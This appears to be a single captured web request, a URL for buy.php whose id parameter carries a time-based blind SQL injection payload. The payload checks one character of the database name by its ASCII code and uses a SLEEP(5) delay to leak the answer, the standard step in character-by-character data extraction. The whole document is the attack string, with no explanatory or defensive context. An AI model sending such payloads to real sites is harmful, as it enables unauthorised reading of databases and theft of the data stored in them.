buy.php?id=1' AND ascii(substring((database()),33,1))=55 and if(true!=true,1,SLEEP(5))-- -